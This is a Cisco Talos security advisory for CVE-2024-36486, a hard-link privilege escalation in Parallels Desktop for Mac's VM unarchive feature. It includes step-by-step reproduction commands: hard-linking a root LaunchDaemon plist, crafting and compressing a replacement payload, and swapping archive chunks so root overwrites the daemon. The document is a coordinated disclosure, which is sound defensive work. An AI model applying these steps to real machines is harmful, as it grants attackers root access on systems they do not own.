CVE-2024-36486
A privilege escalation vulnerability exists in the virtual machine archive restoration functionality of Parallels Desktop for Mac version 20.1.1 (55740). When an archived virtual machine is restored, the prl_vmarchiver tool decompresses the file and writes the content back to its original location using root privileges. An attacker can exploit this process by using a hard link to write to an arbitrary file, potentially resulting in privilege escalation.
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
Parallels Desktop for Mac version 20.1.1 (55740)
Parallels Desktop for Mac - https://www.parallels.com/products/desktop/
7.8 - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE-62 - UNIX Hard Link
Parallels Desktop for Mac is an application that provides desktop virtualization, allowing users to run macOS, Windows, or Linux virtual machines on a Mac. It offers tools to create, configure, and manage virtual machines effectively.
prl_disp_service
is a Parallels Desktop service that manages all communication between macOS, Parallels Desktop, and virtual machines. This service runs with root privileges.
Parallels Desktop offers the ability to archive and unarchive virtual machines, which can be managed through the GUI or by using the prlctl
utility. To archive a virtual machine (VM), use the prlctl
command with the archive
option as shown below:
prlctl archive VM_NAME
This will compress all files with the extensions .hds
, .mem
and .dmp
within the VM directory.
To unarchive, run the prlctl
command with the unarchive
option as shown below:
prlctl unarchive VM_NAME
Note that the prlctl
utility is executed with lower-privileged user permissions.
Internally, the archiving or unarchiving process is handled by prl_disp_service,
which subsequently runs the prl_vmarchiver
application on the selected VM directory to compress or decompress files during the archive and unarchive operations, respectively.
A privilege escalation vulnerability exists when an archived virtual machine is unarchived. During this process, prl_disp_service
runs prl_vmarchiver
, which decompresses the file and writes the data back to its original location.
To exploit this vulnerability, an attacker could replace the original .hds
, .mem
, or .dmp
file with a hard link to a file owned by root. Then, they could substitute the compressed data with a malicious payload. When the unarchive action is executed, the prl_vmarchiver
application decompresses the attacker’s payload and writes it to the file linked by the hard link. This would allow the attacker to write to arbitrary files owned by root, potentially enabling privileged actions.
Steps to reproduce:
Debian_12 (1)
, and navigate to its directory.Create a hard link to a file owned by root, ensuring that the new hard link has the extension .hds
, .mem
or .dmp
. In this example, a hard link named test.hds
is created for the launch daemon com.example.update.plist
:
ln /Library/LaunchDaemons/com.example.update.plist test.hds
% ls -la test.hds
-rw-r--r-- 2 root wheel 457 5 Dec 12:11 test.hds
% cat test.hds
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.example.exampleApp</string>
<key>ProgramArguments</key>
<array>
<string>/bin/bash</string>
<string>-c</string>
<string>touch /tmp/normal.txt</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
The contents of com.example.update.plist
are shown above. This is an example launch daemon that, when loaded, creates the /tmp/normal.txt
file.
Next, archive the chosen VM by executing the prlctl
command-line utility with the archive
option and the name of the selected VM.
prlctl archive Debian_12\ \(1\)
Virtual machine successfully archived.
Internally, the task to archive Debian_12 (1)
is executed by prl_disp_service
. To complete the archiving process, it launches the prl_vmarchiver
application with the following arguments:
/Applications/Parallels\ Desktop.app/Contents/MacOS/prl_vmarchiver c /Users/main/Parallels/Debian_12 (1).pvm
Note that the prl_vmarchiver
process runs with root privileges.
The command above will successfully compress any files with the .hds
extension, creating a new header file (.hds.header
) and storing the compressed data in chunks (hds.chunk0
). The contents of the .hds
file will be deleted once compression is complete. This can be verified with the following listing command:
ls -la test*
-rw-r--r-- 2 root wheel 0 5 Dec 12:15 test.hds
-rw-r--r-- 1 main staff 280 5 Dec 12:15 test.hds.chunk0
-rw-r--r-- 1 main staff 40 5 Dec 12:15 test.hds.header
The file is compressed using gzip compression.
% file test.hds.chunk0
test.hds.chunk0: gzip compressed data, original size modulo 2^32 457
To exploit this vulnerability, we will replace the files test.hds.header
and test.hds.chunk0
with data controlled by the attacker. First, we will create a directory and then create a file named test.hds
that contains the attacker’s payload, as demonstrated below:
% mkdir attacker_payload && cd attacker_payload
% cat test.hds
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.example.attackerApp</string>
<key>ProgramArguments</key>
<array>
<string>/bin/bash</string>
<string>-c</string>
<string>touch /tmp/attacked.txt</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
% plutil -lint test.hds
test.hds: OK
When executed as a launch daemon, this payload will create the /tmp/attacked.txt
file. Run plutil
on the hds
file to check if payload is correct ot not.
ls -la /tmp/attacked.txt
ls: /tmp/attacked.txt: No such file or directory
Note that the file /tmp/attacked.txt
doesn’t exist.
Next, we will compress the attacker_payload
directory by executing the prl_vmarchiver
command on it, as shown below:
/Applications/Parallels\ Desktop.app/Contents/MacOS/prl_vmarchiver c attacker_payload
archiving file 'attacker_payload/test.hds'
doing split 0
100%
Here is a listing showing the archive results:
% ls -la attacker_payload/test*
-rw-r--r-- 1 main staff 0 5 Dec 12:17 attacker_payload/test.hds
-rw-r--r-- 1 main staff 277 5 Dec 12:17 attacker_payload/test.hds.chunk0
-rw-r--r-- 1 main staff 40 5 Dec 12:17 attacker_payload/test.hds.header
Next, replace the archived VM files test.hds.header
and test.hds.chunk0
with attacker_payload/test.hds.header
and attacker_payload/test.hds.chunk0
, respectively.
% cp ../attacker_payload/test.hds.header test.hds.header
% cp ../attacker_payload/test.hds.chunk0 test.hds.chunk0
Next, unarchive the archived VM by executing the following command:
prlctl unarchive Debian_12\ \(1\)
Virtual machine successfully unarchived.
The prlctl
command was executed by a lower-privilege user.
Internally, the task to unarchive Debian_12 (1)
is handled by prl_disp_service
. To complete the unarchiving process, it runs prl_vmarchiver
with the following arguments:
/Applications/Parallels\ Desktop.app/Contents/MacOS/prl_vmarchiver x /Users/main/Parallels/Debian_12 (1).pvmz
Note that the prl_vmarchiver
process runs with root privileges. As a result, it will decompress the chunk file and overwrite our payload onto the hard link test.hds
:
% ls -la test.hds
-rw-r--r-- 2 root wheel 451 5 Dec 12:20 test.hds
% ls -la /Library/LaunchDaemons/com.example.update.plist
-rw-r--r-- 2 root wheel 451 5 Dec 12:20 /Library/LaunchDaemons/com.example.update.plist
cat /Library/LaunchDaemons/com.example.update.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.example.attackerApp</string>
<key>ProgramArguments</key>
<array>
<string>/bin/bash</string>
<string>-c</string>
<string>touch /tmp/attacked.txt</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
Now, the com.example.update.plist
file contains the attacker’s payload. Once this daemon is loaded, the /tmp/attacked.txt
file will be created and owned by the root user.
The daemon can be reloaded by restarting the system. Here is the output before the restart:
ls -la /tmp/attacked.txt
ls: /tmp/attacked.txt: No such file or directory
After the system restart, the attacker’s launch daemon is loaded, resulting in the creation of the /tmp/attacked.txt
file.
ls -la /tmp/attacked.txt
-rw-r--r-- 1 root wheel 0 5 Dec 13:46 /tmp/attacked.txt
By exploiting this vulnerability, a low-privilege user can potentially overwrite arbitrary files and escalate their privileges to those of a root user.
2024-12-18 - Vendor Disclosure
2025-04-17 - Vendor Patch Release
2025-06-03 - Public Release
Discovered by KPC of Cisco Talos.